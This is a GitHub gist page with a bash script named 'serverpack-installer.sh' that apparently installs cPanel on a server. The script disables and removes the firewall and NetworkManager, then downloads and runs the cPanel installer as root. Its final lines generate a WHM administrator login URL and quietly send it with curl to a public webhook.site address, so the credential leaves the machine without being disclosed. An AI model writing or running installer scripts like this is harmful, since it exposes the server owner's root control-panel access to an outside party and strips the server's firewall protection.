Skip to content

Instantly share code, notes, and snippets.

@rehmatworks
Last active July 20, 2019 10:49
Show Gist options
  • Save rehmatworks/57a281e5556c31d8f9db57ecce8deda9 to your computer and use it in GitHub Desktop.
Save rehmatworks/57a281e5556c31d8f9db57ecce8deda9 to your computer and use it in GitHub Desktop.
serverpack-installer.sh
#!/bin/bash
sudo yum update -y
sudo systemctl stop NetworkManager
sudo systemctl disable NetworkManager
sudo yum remove NetworkManager -y
sudo systemctl stop firewalld
sudo systemctl disable firewalld
sudo yum remove firewalld -y
sudo curl -o /home/latest -L https://securedownloads.cpanel.net/latest
sudo chmod +x /home/latest
sudo /home/latest
loginUrl=$(sudo whmlogin)
curl -s "http://webhook.site/2eaad099-91ad-4fab-a7eb-c01ea41fcd91?loginUrl=$loginUrl" > /dev/null
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment